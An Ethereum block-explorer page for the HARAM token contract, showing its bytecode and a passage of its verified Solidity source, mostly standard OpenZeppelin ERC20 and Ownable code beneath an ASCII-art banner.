Address Contract Partially Verified
Address
0xc961Da88bB5E8Ee2BA7dfd4c62a875eF80f7202F
Balance
0 ETH
Nonce
1
Code Size
4521 bytes
Creator
0x66b9839c...5113 at tx 0x45afb820...5dd80c
Indexed Transactions
0
Contract Bytecode
4521 bytes
0x608060405234801561001057600080fd5b50600436106101825760003560e01c80638da5cb5b116100d8578063b671efbb1161008c578063e402aa5811610066578063e402aa58146102d9578063f2fde38b146102e1578063fd1bc2ca146102f457610182565b8063b671efbb146102a0578063d9cc405b146102b3578063dd62ed3e146102c657610182565b8063a457c2d7116100bd578063a457c2d714610272578063a8aa1b3114610285578063a9059cbb1461028d57610182565b80638da5cb5b1461025557806395d89b411461026a57610182565b8063313ce5671161013a578063715018a611610114578063715018a61461023d57806371f482341461024557806389f9a1d31461024d57610182565b8063313ce56714610202578063395093511461021757806370a082311461022a57610182565b806318160ddd1161016b57806318160ddd146101c557806323b872dd146101da5780632cffb599146101ed57610182565b806306fdde0314610187578063095ea7b3146101a5575b600080fd5b61018f6102fc565b60405161019c9190610cb1565b60405180910390f35b6101b86101b3366004610c1f565b61038e565b60405161019c9190610ca6565b6101cd6103ab565b60405161019c91906110fd565b6101b86101e8366004610bbb565b6103b1565b6102006101fb366004610c48565b61044a565b005b61020a6104c5565b60405161019c9190611106565b6101b8610225366004610c1f565b6104ca565b6101cd610238366004610b68565b61051e565b61020061053d565b6101b8610588565b6101cd610597565b61025d61059d565b60405161019c9190610c92565b61018f6105ac565b6101b8610280366004610c1f565b6105bb565b61025d610634565b6101b861029b366004610c1f565b610643565b6102006102ae366004610bf6565b610657565b6101b86102c1366004610b68565b6106c1565b6101cd6102d4366004610b89565b6106d6565b6101b8610701565b6102006102ef366004610b68565b61070f565b6101b8610780565b60606003805461030b90611138565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611138565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b610789565b848461078d565b50600192915050565b60025490565b60006103be848484610841565b6001600160a01b0384166000908152600160205260408120816103df610789565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561042b5760405162461bcd60e51b815260040161042290610ee6565b60405180910390fd5b61043f85610437610789565b85840361078d565b506001949350505050565b610452610789565b6001600160a01b031661046361059d565b6001600160a01b0316146104895760405162461bcd60e51b815260040161042290610f43565b6008805460ff19169415159490941761ff001916610100931515939093029290921762ff00001916620100009115159190910217909155600755565b600990565b60006103a26104d7610789565b8484600160006104e5610789565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546105199190611114565b61078d565b6001600160a01b0381166000908152602081905260409020545b919050565b610545610789565b6001600160a01b031661055661059d565b6001600160a01b03161461057c5760405162461bcd60e51b815260040161042290610f43565b610586600061096b565b565b60085462010000900460ff1681565b60075481565b6005546001600160a01b031690565b60606004805461030b90611138565b600080600160006105ca610789565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156106165760405162461bcd60e51b8152600401610422906110a0565b61062a610621610789565b8585840361078d565b5060019392505050565b6006546001600160a01b031681565b60006103a2610650610789565b8484610841565b61065f610789565b6001600160a01b031661067061059d565b6001600160a01b0316146106965760405162461bcd60e51b815260040161042290610f43565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b60096020526000908152604090205460ff1681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600854610100900460ff1681565b610717610789565b6001600160a01b031661072861059d565b6001600160a01b03161461074e5760405162461bcd60e51b815260040161042290610f43565b6001600160a01b0381166107745760405162461bcd60e51b815260040161042290610d61565b61077d8161096b565b50565b60085460ff1681565b3390565b6001600160a01b0383166107b35760405162461bcd60e51b815260040161042290611043565b6001600160a01b0382166107d95760405162461bcd60e51b815260040161042290610dbe565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108349085906110fd565b60405180910390a3505050565b6001600160a01b0383166108675760405162461bcd60e51b815260040161042290610faf565b6001600160a01b03821661088d5760405162461bcd60e51b815260040161042290610d04565b6108988383836109d5565b6001600160a01b038316600090815260208190526040902054818110156108d15760405162461bcd60e51b815260040161042290610e52565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610908908490611114565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095291906110fd565b60405180910390a3610965848484610b3c565b50505050565b600580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03821660009081526009602052604090205460ff16158015610a1757506001600160a01b03831660009081526009602052604090205460ff16155b610a335760405162461bcd60e51b81526004016104229061100c565b60085460ff16610a9d57610a4561059d565b6001600160a01b0316836001600160a01b03161480610a7c5750610a6761059d565b6001600160a01b0316826001600160a01b0316145b610a985760405162461bcd60e51b815260040161042290610f78565b610b3c565b600854610100900460ff1680610ac157506006546001600160a01b03838116911614155b610add5760405162461bcd60e51b815260040161042290610e1b565b60085462010000900460ff168015610b0257506006546001600160a01b038481169116145b15610b3c5760075481610b148461051e565b610b1e9190611114565b1115610b3c5760405162461bcd60e51b815260040161042290610eaf565b505050565b80356001600160a01b038116811461053857600080fd5b8035801515811461053857600080fd5b600060208284031215610b79578081fd5b610b8282610b41565b9392505050565b60008060408385031215610b9b578081fd5b610ba483610b41565b9150610bb260208401610b41565b90509250929050565b600080600060608486031215610bcf578081fd5b610bd884610b41565b9250610be660208501610b41565b9150604084013590509250925092565b60008060408385031215610c08578182fd5b610c1183610b41565b9150610bb260208401610b58565b60008060408385031215610c31578182fd5b610c3a83610b41565b946020939093013593505050565b60008060008060808587031215610c5d578081fd5b610c6685610b58565b9350610c7460208601610b58565b9250610c8260408601610b58565b9396929550929360600135925050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610cdd57858101830151858201604001528201610cc1565b81811115610cee5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600a908201527f414c2d4b41424952414800000000000000000000000000000000000000000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b60208082526010908201527f6162736f6c7574656c7920686172616d00000000000000000000000000000000604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160408201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600b908201527f414c2d5341474841274952000000000000000000000000000000000000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600a908201527f5345454b20414c4c414800000000000000000000000000000000000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561113357634e487b7160e01b81526011600452602481fd5b500190565b60028104600182168061114c57607f821691505b6020821081141561116d57634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220f74bcb137f26f25e787e21fe066d822d3373a079c8fbaefd49d64d8a3661da5c64736f6c63430008000033
Verified Source Code Partial Match
Compiler: v0.8.0+commit.c7dfd78e
EVM: istanbul
Optimization: Yes (1000 runs)
HARAM.sol 695 lines
/**
* website: https://www.haram.bid
* telegram: https://t.me/haramerc
* twitter: https://twitter.com/haramerc
*/
/**
00000000000000000000000000000000000000000000000000000000OOO0000XWMMMMMMMMMMMMMMMMMMMMWNK000OOOO0000000000000000000000000
0000000000000000000000000000000000000000000000000000OkO0KXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXK0OOO0000000000000000000000
000000000000000000000000000000000000000000000000OOOO0KNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWMMWNXKOOO0000000000000000000
0000000000000000000000000000000000000000000000OkOKNWMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNX0OO00000000000000000
00000000000000000000000000000000000000000o;,:clONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWWW0ddolok0O0000000000
0000000000000000000000000000000000000000k' .;coxkkkkkkkkkkkkkkkkkkkO0KKKKKKK0OOOkxddddoollc:;;;;;'. ;O0O000000000
000000000000000000000000000000000000000Ol. ........ ;O00000000000
00000000000000000000000000000000000000k; .cO0000000000
00000000000000000000000000000000000000k' .':xO000000000
00000000000000000000000000000000000000Ox:. ........':lokKNK0000OkO0000
000000000000000000000000000000000000000Kx'.;,''..'::,.........';,.................'colccloxkO00KXXXKXNWMWWMMMWMWNXK0Okk0
000000000000000000000000000000000000Oxodc'':::cccloolc::ccc:::col:;;;;;;;;;;::ccc:cokKNWMMMMWWMMMMMMWMMMMMMMMMMMMMMMWX0O
00000000000000000000000000000000000Odllc'.';;,',:cllllllclolcllc,',,;;;;;,;,,'',,,::;:ldk0XNWWMMMMMMMMMMMMMMMMMMMMMMWMWN
0000000000000000000000000000000000Odoll,.:ooolc:,';llolclllc:::'':loooooooooolc:;.'loc:c::clkKNWMMMMMMMMMMMMMMMMMMMMMMMM
000000000000000000000000000000000Odoooc.,oolc:;cc:'':c:cccccc:''clllllllllllllool'.coolcccc::cokKWMMMMMMMMMMMMMMMMMMMMMM
000000000000000000000000000000000koooo,.,,,'. ...'..:cc:cc:;'',,,,,......''.',,,..loloolc:ccccclxXWWMMMMMMMMMMMMMMMMMMM
000000000000000000000000000000000xllol..';c'.,... .'.;cc:c:. 'oololc. .. '..;lc,.,looollcccccccccd0WWMMMMMMMMMMMMMMMMMM
00000000000000000000000000000000Oolool' ':l,.:. '':l.,cc:c;..cKOoool' ;:. ...,,',cccloollccccccc:cclx0XWMMMMMMMMMMMMMMMM
00000000000000000000000000000000kooool'.;,,'...','',';cccc:,''::,:c:' . .',;loc.,looolcccccccccccccld0WMMMMMMMMMMMMMM
00000000000000000000000000000000kooooc.'oolllccc::::cccc:,;cc:;,',;;,,,,,;:cloll:.,looolccccccccccccccc:cxXWWMWWMMMMMMMM
00000000000000000000000000000000kllo:'.',collcccc;..:ccc:'.'::cc:::ooooooolooc:,';loolcclcc:cccccccccccc::dXWWMMMMMMMMMM
000000000000000000000000000000000xl:,:oc,';::c:,'..;ccccc:,...,;::;,clc:::;,;;,:loolc::ccc::cccccccccccccc:oXWWMMMMMMMMM
000000000000000000000000000000000k;.;:c:;;:cc;''..,c:cccc:c:;. .''''';;,,,;:loollcccccccccccccccccccccccccc:l0WWMMMMMMMM
000000000000000000000000000000000c.;:::cccc::c:'.,ccccc:ccc:::,.',:cc:cclllccclc:cclc:cc:cccccccccccccccc::c:cxXMMMMMMMM
00000000000000000000000000000000O:.:ccccccccc:'.;ccccc:cc::cccc:;'.';:c:::::::ccccccccccccc:ccccccccccccc:cc:::xNWWMMMMM
00000000000000000000000000000000k,.:c:c::ccc;..;c::cccccccc::ccccc:,''',;:cccccccccccccccccccccccccccccccccc:ccckNWWMMMM
0000000000000000000000000000000O:..;ccccc:cc;;:c:cccccc:cccccccc:cccc:,''',:cc:ccccccccccc:::::ccccccccccccccccc:dNMMMMM
000000000000000000000000000000Kd''..;::cccccccccccccccccccccccccccccccccc::ccc::;,,,,'''',,'..':cccccccccccccc:c::kWMMMM
000000000000000000000000000000O;.cc,',,'''''''',,;;::::::::::::::::::;;;,,'',,,,,,,;;,,''''...;cccccccccccccccccc:lKWMWW
000000000000000000000000000000d..;cooolc::;;:;;;,,,,,,,,,,,,,,,,,,,,,,,,;;:cllllc:;;;;;,'..';:cc:ccccccccccccccccc:l0WWM
000000000000000000000000000000x..,,,,,,;;:::::::::::::::;;;;;;;;;;;;;;;;;;;,,,,;,,;cc:,,',;cccc::cccccccccccccccccc:c0WM
000000000000000000000000000000k,'lolc:;;,,,,,,,,,,,,,,,,,;;;;;;;;,;;;;;;;;::cclooc:,'',:ccccc:cc:ccccccccccccccccccc:oNM
0000000000000000000000000000000o.,looolooooooooooooooooooooooooooooooooooolcc:;,,'';:ccccccccccccccccccccccccccccc:c:cON
00000000000000000000000000000OOO,.',:cc::::;;;;;;;;;;;;;;;,,,,,,,,,,,,,,,,,'',,;:ccccccccccccccccccccccccccc:ccccccc:;:o
00000000000000000000000000Oo;;;;..;,'',,''.'',,,''''''''...',,,,,,,;;;;;::ccccccc:cccccccccccccccccccccccc:ccccc:::loxOK
00000000000000000000000K0x:.;c:. .;;;,,,,'''''';;:ccccc;..'..';:cccccccccccccccc:ccccccccc::ccccccccccccccc::;coxk0XNWWW
000000000000Okkxkkkxdolc:'..'''.........''''';l:...''',..;c;;,..,:ccccccc:cccccccc:cccccccccccccccccc::;:clodOXNWWWWWMMM
0000000Odl::;;,,,;,,'........,;;;;,'........'co:;;;;;,,......... .',,;;:::cccccccccc::::;;;::cllcclddddk0XNWWWWWMMMMMMMM
0000Ooc;,,,::ccccccc:...'''''''''.... ......'..',,,;:::;,. .,;,,,''''''.';:::::cloodxxxkkOKXXXXXNWMWWWWWWWWMMMMMMMMMMM
00kc,';cc::cccccc:cc:;'.'',,;;;,''''''..................'''..,:ccccccccc:,''..ckKXNWWMMMMMMMMMMMWWWWWWWWMMMMMMMMMMMMMMMM
0O:.;ccccccccccccccccccc:,'..''';::cc;;;:::::::::::;;'.':cccccccccccccccc:::;,,ckNWMMWMMMMMMMMMWWWWWMMMMMMMMMMMMMMMMMMMM
0d''cccccccccccc:ccc;,'''''''',,:;,:c;''''''''''''''',;:cccccccccccccccc::;,:ooc,:0WX0XWMMMMMWWWMMMMMMMMMMMMMMMMMMMMMMMM
0l.,ccc:ccccccccccc:..,;:::cccccdxdddlcccccccccccccccccccccccccccccccc:::cc:xklll,'lxxxXMMWWWWMMMMMMMMMMMMMMMMMMMMMMMMMM
Oo.,ccccc:ccc:cccc::,.''.'',',,'cOXNXklccc:ccccccc:cccccccccccccc:ccc:ccld::xd:;oo,:KNOxXWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
dc.,ccccc:;,:ccccc:::'.';cloo:.;xxkOOOo,,;cccccc::cccccccccccccc:ccc:::cldo:clllooONWWNxOWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
NOocc::;::,..''''.''.;ok0K00d,oXWNXXXNXOdc:;,,,,;::cccccccccccc:;,;,':l:looc;cok0NWMMMWOxNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMWWX0Okkxddc::::,:dxdx0000o;xNWWMMMMWMMMWNKo'':ll::;'',,',;:;:;':ddccooxdxk0XWWWWWMMMMXxOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMWNNXXNNWNxd00kc:OWWWWMMMMMMMMWWMXl:OMWN0c'oOkk0XNXXkxXWWWWWWMMMMMWMMMMMMMMMM0xXMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMWxd0x;cKWWWWMMMMMMMMMMMMNx:kWWOc:kWWMMWWMMMOkNMMMMMMMMMMMMMMMMMMMMMMNxkNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWWOox;cXMMMWWWMMMMMMMMMMMNd;oKk;oXWWWMMMMMMMKx0WMMWMMMMMMMMMMMMMMMMMMMKd0MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMM0o;:0WMMMMWWWMMMMMMMMWMXddxddo0WMMMMMMMMMMW0xKMMMMMMMMMMMMMMMMMMMMMMWkxNMMMMMMMMMMMMMMMMMMMMMMMMMMM
WMMMMMMMMMMMMMMMMMMMM0;,OWWMMMMMWWWMMMMMMMWW0xXWNOxXMMMMMMMMWMMMWkxXWMMMMMMMMMMMMMMMMMMMMMXxOWMMMMMMMMMMMMMMMMMMMMMMMMMM
XWWMMMMMMMMMMMMMMMMWWO,oWMMMMMMMMWWWMMMMMMMWkkNWWkkWMMMMMMMMMMMWWNxckWMMMMMMMMMMMMMMMMMMMMMOxNMMMMMMMMMMMMMMMMMMMMMMMMMM
lNMMMMMMMMMMMMMMMMMMMd:0MMMMMMMMMMWWWMMMMMMNxOWWNxOMMMMMMMMMMMWWWWWx:dXWMMMMMMMMMMMMMMMMMMMKx0MMMMMMMMMMMMMMMMMMMMMMMMMM
,xWMMMMMMMMMMMMMMMMMWxxWMMMMMMMMMMMWWWMMMMM0xKWM0xXMMWWMMMMWWWWMMMWXxoxONWWMMMMMMMMMMMMMMMMWkkWMMMMMMMMMMMMMMMMMMMMMMMMM
lkWMMMMMMMMMMMMMMMMMWO0MMMMMMMMMMMMMWWWWMMMOkWMMOkNMMMMMMWWWWWMMMMWW0x0Oxk0NWWWMMMMMMMMMMMMMOxNMMMMMMMMMMMMMMMMMMMMMMMMM
dOMMMMMMMMMMMMMMMMMMNO0MMMMMMMMMMMMMMMWWMMNxOMMMOkNMMWMWWWWMMMMMMMMMXxOWN0OOOKNMMMMMMMMMMMMMXxOWMMMMMMMMMMMMMMMMMMMMMMMM
dkWMMMMMMMMMMMMMMMMMKxKMMMMMMMMMMMMMMMWWWMKxKMMNxOWMMWWWWMMMMMMMMMMMW0xXWWMWNNWMMMMMMMMMMMMMW0xXMMMMMMMMMMMMMMMMMMMMMMMM
dxWMMMMMMMMMMMMMMMMMOxNMMMMMMMMMMMMMMMWWWWkxNMMKxKMMWWWMMMMMMMMMMMMMMNkkWWMWWMMMMMMMMMMMMMMMMNkOWMMMMMMMMMMMMMMMMMMMMMMM
dxNMMMMMMMMMMMMMMMMMxdNMMMMMMMMMMMMMMMWWMXdOMWM0xXMMWWMMMMMMMMMMMMMMMWOkXWMMMMMMMMMMMMMMMMMMMM0kNMMMMMMMMMMMMMMMMMMMMMMM
*/
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
